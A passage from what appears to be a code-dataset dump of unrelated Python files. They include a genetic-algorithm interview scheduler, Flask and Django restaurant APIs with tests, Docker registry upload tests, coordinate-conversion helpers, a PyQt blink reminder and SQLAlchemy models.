Interview-Panel:\\n\")\n k = 0\n for i in colour_slots:\n k += 1\n print(\"\\nInterview-Panel: \" + str(k) + \" || candidate id: \" + str(i) + \" || prof id: \" + str(\n contents[i]) + \" \\n------->>Slot: \" + str(colour_slots[i]))\n return val\n\n\ndef run(population, graph, color):\n temp = list(range(20))\n col = list(range(color))\n count = 0\n fitChild = len(graph)\n generation=300\n\n while(count less desirable\n # we choose parents that have the least conflict\n if pf < pf1:\n pf1=pf\n parent1 = i\n elif pf < pf2 :\n pf2=pf\n parent2 = i\n return parent1, parent2\ndef fitness(chromosome, graph):\n # chromosome is a dictionary\n conflict = 0\n # chromosome is a dict\n for i in chromosome:\n conflict = conflict + fit(i, graph, chromosome[i], chromosome)\n return conflict\n\ndef fit(id, graph, col, chromosome):\n # id = email id of candidate (key of chromosome dictionary)\n # graph = {'cand1': [cand2]}\n # col = color of the node\n # chromosome is a dictionary\n # print(f\"id is: {id}, graph[id] is {graph[id]}\")\n conflict = 0\n # graph[id] contains all cands that are adjacent to the current candidate\n for val in graph[id]:\n # val is an adjacent cand\n # chromosome[val] is basically color of that adjacent node\n if(col == chromosome[val]):\n conflict = conflict + 1\n return conflict\n\n\"\"\"Coloring the entire graph and returning, but not optimally\"\"\"\ndef mutate(chromosome, graph, colour):\n # colour is the list of all colours\n # chromosome is the child chromosome\n\n # conflictList = {}\n # for i in chromosome:\n # conflictList[i] = fit(i, graph, chromosome[i], chromosome)\n # conflictList.sort()\n # data= [k for k in conflictList()]\n data = list(sorted(graph, key=lambda k: len(graph[k]), reverse=True))\n # data is list of emailids sorted in descending order of no of adjacent nodes \n for i in data:\n check1(i, graph, chromosome[i], chromosome, colour)\n return chromosome\n\n# def mutateSelectMethod():\n# if(count<(generation*0.5)):\n# return parentSelectionMethod1(population)\n# else:\n# return parentSelectionMethod2(population,graph)\n\n\"\"\"Just coloring the adjacent nodes\"\"\"\ndef check1(id, graph, col, chromosome, colour):\n adjCol = []\n # for d in graph[id]:\n # adjCol.append(chromosome[d])\n adjCol = [chromosome[d] for d in graph[id]]\n # adjCol list of adjacent colors to the current id\n validCol = Diff(colour, adjCol)\n # validCol is the list of valid colors for that id (candidate/node)\n for val in graph[id]:\n if(col == chromosome[val]):\n if(len(validCol)<1):\n break\n chromosome[val] = validCol[0]\n # coloring the adjacent nodes from one of the valid colors\n validCol.pop(0)\n\ndef check2(id, graph, col, chromosome, colour):\n # adjCol = []\n # for d in graph[id]:\n # adjCol.append(chromosome[d])\n # adjCol = [chromosome[d] for d in graph[id]]\n # adjCol list of adjacent colors to the current id\n for val in graph[id]:\n if(col == chromosome[val]):\n if(len(colour)<1):\n break\n chromosome[val] = random.choice(colour)\n\ndef Diff(li1, li2):\n return (list(list(set(li1)-set(li2)) + list(set(li2)-set(li1))))\n\nif __name__ == \"__main__\":\n contents = {}\n graph_dict = I.make_panel_graph(contents)\n slots=find_key(graph_dict,len(graph_dict))\n print(\"\\nMinimum number of slots to conduct the interview are:\")\n print(slots)\n","sub_path":"scheduling.py","file_name":"scheduling.py","file_ext":"py","file_size_in_byte":7992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"329963167","text":"'''\nCreated on 11 de out de 2018\n@author: gusta\n'''\n\nfrom sklearn.metrics import accuracy_score\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass PREQUENTIAL_SUPER():\n def __init__(self):\n '''\n Class for control the comparative algorithms\n '''\n \n self.NAME = ''\n self.TARGET = []\n self.PREDICTIONS = []\n self.count = 0\n \n def timeExecution(self):\n '''\n method to return the system accuracy for the stream\n '''\n \n start = self.start_time\n end = self.end_time\n \n return end-start\n \n def returnTarget(self):\n '''\n method to return only the target o\n '''\n \n return self.TARGET\n \n def returnPredictions(self):\n '''\n method to return only the predictions\n '''\n \n return np.asarray(self.PREDICTIONS).astype('float64')\n \n def accuracyGeneral(self):\n '''\n method to return the system accuracy for the stream\n '''\n \n y_true = self.returnTarget()\n y_pred = self.returnPredictions()\n \n return accuracy_score(y_true, y_pred)\n \n def printIterative(self, i):\n '''\n method to show iteratively the current accuracy \n '''\n \n current_accuracy = accuracy_score(self.TARGET, self.PREDICTIONS)*100\n percent_instances = (i*100)/len(self.STREAM)\n string = self.NAME+\": %.2f -> (%d) %.2f of instances processed\" % (current_accuracy, i, percent_instances)\n \n print(string)\n \n def plotAccuracy(self):\n '''\n Method to plot the current accuracy\n '''\n\n # importing the class to plot the accuracy\n import ilustrations.generate_accuracy as ga\n \n # calculating the timeseries\n timeSeries = ga.calculateLongAccuracy(self.returnTarget(), self.returnPredictions(), 250)\n \n # plotting the accuracy\n plt.plot(timeSeries)\n plt.show()\n \n def cross_validation(self, i, qtd_folds, fold):\n '''\n Method to use the cross validation to data streams\n '''\n \n # if the current point reach the maximum, then is reseted \n if(self.count == qtd_folds):\n self.count = 0\n \n # false if the fold is equal to count\n if(self.count == fold):\n Flag = False\n else:\n Flag = True\n \n # each iteration is accumuled an point\n self.count += 1\n \n #returning the flag\n return Flag\n ","sub_path":"competitive_algorithms/prequential_super.py","file_name":"prequential_super.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"258650045","text":"from flask import Blueprint, jsonify\n\nfrom app import db\nfrom app.models.restaurant import Restaurant\nfrom app.models.menu import Menu\n\napi = Blueprint('api', __name__, url_prefix='/api')\n\n\n@api.route('/restaurants')\n@api.route('/restaurants/')\ndef api_restaurant():\n restaurants = Restaurant.query.all()\n return jsonify(Restaurants=[restaurant.serialize for restaurant in restaurants])\n\n\n@api.route('/restaurants//menu')\n@api.route('/restaurants//menu/')\ndef api_menu(restaurant_id):\n menu_items = Menu.query.filter_by(restaurant_id=restaurant_id).all()\n return jsonify(Menu_Items=[menu_item.serialize for menu_item in menu_items])\n\n\n@api.route('/restaurants//menu/')\n@api.route('/restaurants//menu//')\ndef api_menu_item(restaurant_id, menu_item_id):\n menu_item = Menu.query.filter_by(id=menu_item_id).one()\n return jsonify(Menu_Item=menu_item.serialize)","sub_path":"app/views/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"254335892","text":"from fag import Fag\nfrom student import Student\n\nper = Student(\"Per\")\nlisa = Student(\"Lisa\")\nmat1001 = Fag(\"mat1001\")\ninf = Fag(\"in1000\")\nast1010 = Fag(\"ast1010\")\n# Per skal ta MAT1001 og IN1000\nper.leggTilFag(mat1001)\nmat1001.leggTilStudent(per)\nper.leggTilFag(in1000)\nin1000.leggTilStudent(per)\n\n# Lisa skal ta IN1000 og AST1010\nlisa.leggTilFag(in1000)\nin1000.leggTilStudent(lisa)\nlisa.leggTilFag(ast1010)\nast1010.leggTilStudent(lisa)\n\nprint(per.hentStudentNavn() + \" tar \" + str(per.hentAntallFag()) + \" fag\")\nprint(per.skrivFagPaaStudent())\nprint(Lisa.hentStudentNavn() + \" tar \" + str(lisa.hentAntallFag()) + \" fag\")\nprint(lisa.skrivFagPaaStudent())\n\n","sub_path":"Uke 10/testprogram.py","file_name":"testprogram.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"189663411","text":"from auth_keys import auth_keys\nimport os\nimport psycopg2\n\ndef setup_db():\n DATABASE_URL = os.environ['DATABASE_URL']\n\n conn = psycopg2.connect(DATABASE_URL, sslmode='require')\n cursor = conn.cursor()\n\n cursor.execute(\"\"\" CREATE TABLE IF NOT EXISTS light_meta (\n id integer NOT NULL, \n status integer NOT NULL\n );\n \"\"\")\n\n conn.commit()\n \n for id in auth_keys:\n cursor.execute(\"\"\" INSERT INTO light_meta (id, status) values (%s,-1); \"\"\",(id,))\n conn.commit()\n\n return conn, cursor\n","sub_path":"server/setup_db.py","file_name":"setup_db.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"424669729","text":"# // Time Complexity : O(mn)\n# // Space Complexity : O(mn) ?(height of the tree: worst case whole matrix)\n# // Did this code successfully run on Leetcode : Yes\n# // Any problem you faced while coding this : No \n# \n# use DFS\n# if color of current node is color then change the color ro newColor\n# go in all directions using the directions array\n\nclass Solution:\n def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n \n def dfs(r,c):\n #base\n if r<0 or r>= row or c<0 or c>=col or image[r][c] != color:\n return \n \n image[r][c] = newColor\n \n #Logic\n for dir in directions:\n rd = dir[0] + r\n cd = dir[1] + c\n dfs(rd, cd)\n \n \n row = len(image)\n col = len(image[0])\n directions = [(0,1),(1,0),(0,-1),(-1,0)]\n color = image[sr][sc]\n if color == newColor:\n return image\n dfs(sr,sc)\n return image ","sub_path":"FloodFill.py","file_name":"FloodFill.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"157040142","text":"T = int(input())\r\nfor t in range(1, T + 1):\r\n\tn = int(input())\r\n\tif n == 0:\r\n\t\tprint('Case #{}: INSOMNIA'.format(t))\r\n\telse:\r\n\t\ts = set()\r\n\t\ti = 0\r\n\t\tf = n\r\n\t\twhile len(s) < 10:\r\n\t\t\ti += 1\r\n\t\t\tf = i * n\r\n\t\t\tfor c in str(f):\r\n\t\t\t\ts.add(c)\r\n\t\tprint('Case #{}: {}'.format(t, f))","sub_path":"codes/CodeJamCrawler/16_0_1/DXsmiley/sheep.py","file_name":"sheep.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"474027796","text":"from multiprocessing import Pool\nfrom time import sleep,ctime\n\n#将事件放入进程池\ndef worker(msg):\n sleep(2)\n print(msg)\n return msg\n#创建进程池对象\npool = Pool()\n\nresult = []\n#向进程池添加事件\nfor i in range(10):\n msg = \"hello %d\" % i\n r = pool.apply_async(func=worker,args=(msg,)) #返回值是一个对象\n result.append(r)\n\n #将事件同步方式放入进程池\n # pool.apply(func=worker,args=(msg,))\n\n#关闭进程池\npool.close()\n\n#回收进程池\npool.join()\nprint(\"===================================\")\nprint(result)\nfor i in result:\n print(i.get())\n #函数对象本身有一个方法get()方法,可以获取进程函数的返回值\n\n\n","sub_path":"day6/pool.py","file_name":"pool.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"63169431","text":"from django.contrib.auth.models import Permission, User\nfrom django.test import Client, TestCase\nfrom api.models import Dish, Restaurant, UserRestaurantPermission\nfrom api.permissions import P_DISH_VIEW, P_RESTAURANT_VIEW\nfrom rest_framework import status\n\nclass RestaurantTestCase(TestCase):\n\n def alternativeDishSearch(self, user: User, restaurant: Restaurant):\n dishes = []\n\n for user_permission in self.user_permissions.filter(\n restaurant__id=restaurant.id,\n user__id=user.id\n ):\n if P_DISH_VIEW == user_permission.permission.codename:\n for dish in self.dishes.filter(restaurant__id=restaurant.id):\n dishes.append(dish)\n break\n\n return dishes\n\n def alternativeRestaurantSearch(self, user: User):\n restaurants = []\n for user_permission in self.user_permissions.filter(user__id=user.id):\n if P_RESTAURANT_VIEW == user_permission.permission.codename:\n restaurants.append(user_permission.restaurant)\n break\n\n return restaurants\n\n @classmethod\n def setUpTestData(cls):\n cls.dishes = Dish.objects.all()\n cls.permissions = Permission.objects.all()\n cls.restaurants = Restaurant.objects.all()\n cls.users = User.objects.all()\n cls.user_permissions = UserRestaurantPermission.objects.all()\n\n def setUp(self):\n self.client = Client()\n self.super_user = User.objects.get(username='super')\n # Call the API\n super_response_json = self.client.post(\n '/api/v1/login/',\n {'username':'super', 'password': 'super'}\n ).json()\n self.super_token = super_response_json['token']\n self.super_client = Client(HTTP_AUTHORIZATION='Bearer ' + self.super_token)\n\n loser_response_json = self.client.post(\n '/api/v1/login/',\n {'username': 'loser', 'password': 'loser'}\n ).json()\n self.loser_token = loser_response_json['token']\n self.loser_client = Client(HTTP_AUTHORIZATION='Bearer ' + self.loser_token)\n\n def testApiGetDishesDoesNotReturnDishesToNotGrantedUsers(self):\n user_restaurants = self.alternativeRestaurantSearch(self.super_user)\n\n for restaurant in user_restaurants:\n dishes_response = self.loser_client.get(\n '/api/v1/dishes/' + str(restaurant.id) + '/'\n )\n\n self.assertEqual(status.HTTP_403_FORBIDDEN, dishes_response.status_code)\n\n def testApiGetDishesReturnsDishesOfTheRestaurant(self):\n user_restaurants = self.alternativeRestaurantSearch(self.super_user)\n\n for restaurant in user_restaurants:\n dishes_response = self.super_client.get(\n '/api/v1/dishes/' + str(restaurant.id) + '/'\n )\n\n dishes_json = dishes_response.json()\n alternative_dishes = self.alternativeDishSearch(self.super_user, restaurant)\n\n self.assertEqual(status.HTTP_200_OK, dishes_response.status_code)\n self.assertEqual(len(alternative_dishes), len(dishes_json))\n\n for dish_json in dishes_json:\n self.assertTrue(any(dish_json['id'] == o.id for o in alternative_dishes))\n\n def testApiGetRestaurantsReturnsRestaurantsOwnedByTheUser(self):\n restaurants_response = self.super_client.get(\n '/api/v1/restaurants/'\n )\n\n restaurants_json = restaurants_response.json()\n alternative_restaurants = self.alternativeRestaurantSearch(self.super_user)\n\n self.assertEqual(status.HTTP_200_OK, restaurants_response.status_code)\n self.assertEqual(len(alternative_restaurants), len(restaurants_json))\n\n for restaurant_json in restaurants_json:\n self.assertTrue(any(restaurant_json['id'] == o.id for o in alternative_restaurants))\n","sub_path":"backend-app/ratatatouille/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"468569034","text":"\nimport os\nimport sys\nimport json\nimport string\nimport random\nimport hashlib\nimport unittest\nfrom cStringIO import StringIO\n\nroot_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))\nsys.path.append(root_path)\nsys.path.append(os.path.join(root_path, 'lib'))\n\nos.environ['SETTINGS_FLAVOR'] = 'test'\n\nimport registry\n\n\nclass TestCase(unittest.TestCase):\n\n def __init__(self, *args, **kwargs):\n unittest.TestCase.__init__(self, *args, **kwargs)\n registry.app.testing = True\n self.http_client = registry.app.test_client()\n\n def gen_random_string(self, length=16):\n return ''.join([random.choice(string.ascii_uppercase + string.digits)\n for x in range(length)]).lower()\n\n def upload_image(self, image_id, parent_id, layer):\n json_obj = {\n 'id': image_id\n }\n if parent_id:\n json_obj['parent'] = parent_id\n json_data = json.dumps(json_obj)\n h = hashlib.sha256(json_data + '\\n')\n h.update(layer)\n layer_checksum = 'sha256:{0}'.format(h.hexdigest())\n resp = self.http_client.put('/v1/images/{0}/json'.format(image_id),\n headers={\n 'X-Docker-Checksum': layer_checksum\n },\n data=json_data)\n self.assertEqual(resp.status_code, 200, resp.data)\n # Make sure I cannot download the image before push is complete\n resp = self.http_client.get('/v1/images/{0}/json'.format(image_id))\n self.assertEqual(resp.status_code, 400, resp.data)\n layer_file = StringIO(layer)\n resp = self.http_client.put('/v1/images/{0}/layer'.format(image_id),\n input_stream=layer_file)\n layer_file.close()\n self.assertEqual(resp.status_code, 200, resp.data)\n resp = self.http_client.get('/v1/images/{0}/json'.format(image_id))\n self.assertEqual(resp.headers.get('x-docker-size'), str(len(layer)))\n self.assertEqual(resp.status_code, 200, resp.data)\n self.assertEqual(resp.headers['x-docker-checksum'], layer_checksum)\n","sub_path":"test/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"277164834","text":"import cv2\r\nimport numpy as np\r\nimport time\r\n\r\nprint(\"\"\"\r\n PREPARE TO GET INVISIBLE!!!....\r\n \"\"\")\r\n\r\n\r\ncap = cv2.VideoCapture(0)\r\ntime.sleep(5)\r\nbackground=0\r\nfor i in range(35):\r\n\tret,background = cap.read()\r\n\r\nbackground = np.flip(background,axis=1)\r\n\r\nwhile(cap.isOpened()):\r\n\tret, image = cap.read()\r\n\t\r\n\t# Flipping the image (Can be uncommented if needed)\r\n\timage = np.flip(image,axis=1)\r\n\t\r\n\t# Converting image to HSV color space.\r\n\thsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n\tvalue = (35, 35)\r\n\t\r\n\tblurred = cv2.GaussianBlur(hsv, value,0)\r\n\t\r\n\t# Defining lower range for green color detection.\r\n\tlower_green = np.array([25,52,72])\r\n\tupper_green = np.array([102,255,255])\r\n\tmask1 = cv2.inRange(hsv,lower_green,upper_green)\r\n\t\r\n\t\r\n\tmask1 = cv2.morphologyEx(mask1, cv2.MORPH_OPEN, np.ones((5,5),np.uint8))\r\n\t\r\n\t# Replacing pixels corresponding to cloak with the background pixels.\r\n\timage[np.where(mask1==255)] = background[np.where(mask1==255)]\r\n\tcv2.namedWindow('Final',cv2.WINDOW_AUTOSIZE)\r\n\tcv2.imshow('Final',image)\r\n\tk = cv2.waitKey(15)\r\n\tif k == 32:\r\n\t\tbreak\r\n \r\n\r\n\t\r\n\r\n","sub_path":"Invisible.py","file_name":"Invisible.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"302941021","text":"#coding=utf-8\n\nimport hashlib\nimport urllib\nimport json\n\nfrom app.models import Dishname\n\n\n#请替换appkey和secret\nappkey = \"499793601\"\nsecret = \"b1fd6a2e02144f2d866ce0ad8868eb77\"\n#apiUrl = \"http://api.dianping.com/v1/business/find_businesses\"\napiUrl = \"http://api.dianping.com/v1/metadata/get_categories_with_businesses\"\n\n#示例参数\nparamSet = []\nparamSet.append((\"format\", \"json\"))\nparamSet.append((\"city\", \"上海\"))\n\n\n#参数排序与拼接\nparamMap = {}\nfor pair in paramSet:\n\tparamMap[pair[0]] = pair[1]\n\ncodec = appkey\nfor key in sorted(paramMap.iterkeys()):\n\tcodec += key + paramMap[key]\n\ncodec += secret\n\n#签名计算\nsign = (hashlib.sha1(codec).hexdigest()).upper()\n\n#拼接访问的URL\nurl_trail = \"appkey=\" + appkey + \"&sign=\" + sign\nfor pair in paramSet:\n\t url_trail += \"&\" + pair[0] + \"=\" + pair[1]\n\nrequestUrl = apiUrl + \"?\" + url_trail\n\n#模拟请求\nresponse = urllib.urlopen(requestUrl)\nlocations = json.loads(response.read(),'utf-8')['categories'][0]['subcategories']\ndic=dict()\nfor part in locations:\n\tfor dishname in part['subcategories']:\n\t\tdic[dishname]=part['category_name'];\n\nfor key, value in dic.items():\n\ts=Dishname(diname=key, claname=value)\n\ts.save()\n\n\n\n","sub_path":"Food_Tarento/app/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"36420381","text":"from mymodule import stats_word\nimport traceback\nimport logging\nfrom os import path\nimport re\nimport json\n\nlogging.basicConfig(format=\"file:%(filename)s|line:%(lineno)d|message:%(message)s\",level=logging.DEBUG)\n\ndef test1():\n file_path = path.join(path.dirname(path.abspath(__file__)), \"tang300.json\")\n with open(file_path,\"r\", encoding=\"utf-8\") as f:\n return f.read()\n\ndef test2(x):\n y = \"\"\n for item in x:\n y += item.get(\"contents\",\"\")\n return y\n\ndef test3():\n try:\n x = test1()\n logging.info(x[0])\n y = test2(json.loads(x))\n logging.info(\"result => %s\", stats_word.stats_text_cn(y,100))\n except Exception as e:\n logging.exception(e)\n\nif __name__ == \"__main__\":\n test3()","sub_path":"exercises/1901110001/d10/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"324299711","text":"#!/usr/bin/python2\n\"\"\"Helper functions to Vector class.\"\"\"\n\nimport numpy as np\n\n###################################################\n# CONSTANTS #\n###################################################\npi = np.pi\n\n###################################################\n# CONVERTERS (CART, CYL, SPHERIC) #\n###################################################\ndef car2sph(x, y, z):\n \"\"\"Convert cartesian to spherical coordinates.\n\n Parameters\n ----------\n x, y, z : float or np.arrays of such\n right-handed cartesian coordinates\n\n Returns\n -------\n (r, phi, theta) : float or np.arrays of such\n right-handed spherical coordinates as defined in this module.\n Angles in rad.\n\n History\n -------\n 2017-11-22 (AA): Created\n \"\"\"\n # helper\n rho = np.sqrt(x**2 + y**2)\n\n # spherical coordinates\n r = np.sqrt(x**2 + y**2 + z**2)\n phi = np.arctan2(y, x)\n theta = np.arctan2(z, rho)\n\n # normalize phi\n phi = np.mod(phi + pi, 2*pi) - pi\n\n return (r, phi, theta)\n\ndef sph2car(r, phi, theta):\n \"\"\"Convert spherical to cartesian coordinates.\n\n Parameters\n ----------\n (r, phi, theta) : float or np.arrays of such\n right-handed spherical coordinates as defined in this module\n Angles in rad.\n\n Returns\n -------\n x, y, z : float or np.arrays of such\n right-handed cartesian coordinates\n\n History\n -------\n 2017-11-22 (AA): Created\n \"\"\"\n x = r * np.cos(theta) * np.cos(phi)\n y = r * np.cos(theta) * np.sin(phi)\n z = r * np.sin(theta)\n return (x, y, z)\n\ndef car2cyl(x, y, z):\n \"\"\"Convert cartesian to cylindrical coordinates.\"\"\"\n rho = np.sqrt(x**2 + y**2)\n phi = np.arctan2(y, x)\n\n # normalize phi\n phi = np.mod(phi + pi, 2*pi) - pi\n\n return rho, phi, z\n\ndef sph2cyl(r, phi, theta):\n \"\"\"Convert spherical to cylindrical coordinates.\"\"\"\n z = r * np.sin(theta)\n rho = r * np.cos(theta)\n return rho, phi, z\n\ndef cyl2car(rho, phi, z):\n \"\"\"Convert cylindrical to cartesian coordinates.\"\"\"\n x = rho * np.cos(phi)\n y = rho * np.sin(phi)\n return x, y, z\n\ndef cyl2sph(rho, phi, z):\n \"\"\"Convert cylindrical to sphercial coordinates.\"\"\"\n theta = np.arctan2(z, rho)\n r = np.sqrt(rho**2 + z**2)\n return r, phi, theta\n\n###################################################\n# NORMALIZERS #\n###################################################\ndef normalize_cyl(rho, phi, z):\n \"\"\"Bring cylindrical coordinates into canonical format.\n\n See 'Coordinate Systems' Section of module docstring.\n\n The function works on both scalars and arrays.\n \"\"\"\n array = is_array(rho, phi, z)\n scalar = not array # for more clarity later in the code\n\n # ============ normalize rho ======================== #\n # (make it non-negative)\n if scalar and rho < 0:\n rho = -rho\n phi = phi + np.pi\n elif array:\n idx = rho < 0\n rho[idx] *= -1\n phi[idx] += np.pi\n # ==================================================== #\n\n # ========== normalize phi ========================== #\n # bring it to [-pi, pi)\n phi = np.mod(phi + pi, 2*pi) - pi\n\n # special case: rho == 0\n if scalar and rho == 0:\n phi = 0.\n elif array:\n phi[rho==0] = 0.\n # ==================================================== #\n\n return (rho, phi, z)\n\ndef normalize_sph(r, phi, theta):\n \"\"\"Bring sphercial coordinates into canonical format.\n\n See 'Coordinate Systems' Section of module docstring.\n\n The function works on both scalars and arrays.\n \"\"\"\n array = is_array(r, phi, theta)\n scalar = not array # for more clarity later in the code\n\n # ========== normalize r ============================ #\n # (make it non-negative)\n if scalar and r < 0:\n r = -r\n phi += pi\n theta = -theta\n elif array:\n idx = r < 0\n r[idx] *= -1\n phi[idx] += pi\n theta[idx] *= -1\n # ==================================================== #\n\n # ========== normalize theta ======================== #\n # bring theta to [-pi, pi)\n theta = np.mod(theta + pi, 2*pi) - pi\n\n # bring theta to [-pi/2, pi/2]\n if scalar:\n if theta > pi/2:\n phi += pi\n theta = pi - theta\n if theta < -pi/2:\n phi += pi\n theta = -pi - theta\n elif array:\n idx = theta > pi/2\n phi[idx] += pi\n theta[idx] *= -1\n theta[idx] += pi\n\n idx = theta < -pi/2\n phi[idx] += pi\n theta[idx] *= -1\n theta[idx] -= pi\n\n # special case: r == 0\n if scalar and r == 0:\n theta = 0.\n elif array:\n theta[r==0] = 0.\n # ==================================================== #\n\n # ========== normalize phi ========================== #\n # bring phi to [-pi, pi)\n phi = np.mod(phi + pi, 2*pi) - pi\n\n # special case: r == 0\n if scalar and r == 0:\n phi = 0.\n elif array:\n phi[r==0] = 0.\n # ==================================================== #\n\n return (r, phi, theta)\n\n###################################################\n# HELPERS #\n###################################################\ndef is_array(*args):\n \"\"\"Check whether input arguments are scalar or array.\n\n Helper function.\n\n If one of the input arguments is an array and not all others are arrays\n of the same shape, and Error is thrown.\n \"\"\"\n init = False\n for arg in args:\n if not init:\n init = True\n array = isinstance(arg, np.ndarray)\n shape = np.shape(arg)\n continue\n\n if array:\n assert isinstance(arg, np.ndarray)\n assert np.shape(arg) == shape\n else:\n assert not isinstance(arg, np.ndarray)\n\n return array\n","sub_path":"wavenet/util/coordinate_transform/conversions.py","file_name":"conversions.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"304174810","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = \"ompugao\"\n\nimport sys\nfrom PyQt4 import QtGui, QtCore\n\nclass BlinkYourEyesWidget(QtGui.QWidget):\n\n def __init__(self, parent = None, widget = None):\n super(BlinkYourEyesWidget, self).__init__()\n self.setWindowFlags(QtCore.Qt.WindowStaysOnTopHint|QtCore.Qt.FramelessWindowHint)\n #self.setAttribute(Qt.Qt.WA_NoSystemBackground)\n #self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\n self.setWindowOpacity(0.8)\n\n #self.setFocusPolicy(QtCore.Qt.NoFocus)\n #self.setStyleSheet(\"background-color:transparent;\")\n\n self.background_color = QtCore.Qt.black\n self.timer_count = 0\n self.timer = QtCore.QTimer()\n self.timer.setInterval(100) #[milliseconds]\n self.timer.timeout.connect(self.timer_callback)\n\n self.initUI()\n self.timer.start()\n\n def initUI(self):\n screenrect = QtGui.QDesktopWidget().screenGeometry().getRect()\n width = screenrect[2] / 8 #170\n height = screenrect[3] / 8 #80\n self.setGeometry(screenrect[2] - width, 0, width, height) #screenrect[3] - height\n self.setWindowTitle('Blink Your Eyes')\n self.show()\n\n def timer_callback(self, ):\n self.timer_count = (self.timer_count + 1)%30 #3 seconds\n if self.timer_count == 0:\n self.background_color = QtCore.Qt.white\n self.repaint()\n elif self.timer_count == 3:\n self.background_color = QtCore.Qt.black\n self.repaint()\n elif self.timer_count == 6:\n self.background_color = QtCore.Qt.white\n self.repaint()\n elif self.timer_count == 9:\n self.background_color = QtCore.Qt.black\n self.repaint()\n\n def paintEvent(self, e):\n self.drawBackground()\n\n def drawBackground(self,):\n p = self.palette()\n p.setColor(self.backgroundRole(), self.background_color)\n self.setPalette(p)\n\n def keyPressEvent(self, event):\n if event.key() == QtCore.Qt.Key_Escape:\n self.close()\n\ndef main():\n app = QtGui.QApplication(sys.argv)\n ex = BlinkYourEyesWidget()\n sys.exit(app.exec_())\n\nif __name__ == '__main__':\n main()\n","sub_path":"bin/blinkyoureyes.py","file_name":"blinkyoureyes.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"391147806","text":"class Polygon:\n def __init__(self, numberOfSides):\n if numberOfSides < 3:\n raise Exception(\"The number of sides of a polygon must be at least 3.\")\n self.NumberOfSides = numberOfSides\n self.Sides = []\n for i in range(numberOfSides):\n self.Sides.append(0)\n\n def setSideLength(self):\n for i in range(self.NumberOfSides):\n length = int(input(\"Please provide length for side {0}:\".format(i+1)))\n self.Sides[i] = length \n\n def showSideLength(self):\n for i in range(self.NumberOfSides):\n print(\"The length of side {0} is {1}\".format(i+1, self.Sides[i]))\n\n \n","sub_path":"xp/polygon.py","file_name":"polygon.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"454769465","text":"from datetime import datetime\nfrom . import db\nfrom sqlalchemy.ext.hybrid import hybrid_property, hybrid_method, hybrid_method\nfrom flask import url_for\nimport random\n\nclass Manager(db.Model):\n __tablename__ = 'manager'\n\n id = db.Column('id', db.Integer, primary_key=True)\n role = db.Column('role', db.String(30), nullable=False, default='itxia')\n password = db.Column('password', db.String(30), nullable=False)\n username = db.Column('username', db.String(30), index=True, unique=True, nullable=False)\n email = db.Column('email', db.String(64), index=True, unique=True, nullable = False)\n campus = db.Column('campus', db.String(10), index=True, nullable=False)\n avatar_picture = db.Column('avatar_picture', db.String(120), default='')\n register_time = db.Column('register_time', db.DateTime, index=True, default=datetime.now)\n handle_forms = db.relationship('Form', backref='handle_manager', lazy='dynamic', uselist=True)\n comments = db.relationship('Comment', backref='comment_manager', lazy='dynamic', uselist=True)\n\n\n @staticmethod\n def generate_fake(count=100):\n from sqlalchemy.exc import IntegrityError\n from random import seed\n import forgery_py\n\n seed()\n for i in range(count):\n m = Manager(email=forgery_py.internet.email_address(),\n password=forgery_py.lorem_ipsum.word(),\n campus=['gulou', 'xianlin'][random.randint(0,1)],\n username=forgery_py.lorem_ipsum.word(),\n register_time=forgery_py.date.date(True))\n db.session.add(m)\n try:\n db.session.commit()\n db.session.remove()\n except IntegrityError:\n db.session.rollback()\n\n def to_json(self):\n json_post = {\n 'username': self.username,\n 'password': self.password,\n 'role': self.role,\n 'email': self.email,\n 'campus': self.campus\n }\n return json_post\n\nclass Form(db.Model):\n __tablename__ = 'form'\n\n id = db.Column('id', db.Integer, primary_key=True)\n post_time = db.Column('post_time', db.DateTime, default=datetime.now)\n campus = db.Column('campus', db.String(10), index=True, nullable=False)\n status = db.Column('status', db.String(10), index=True, default='waiting', nullable=False)\n machine_model = db.Column('machine_model', 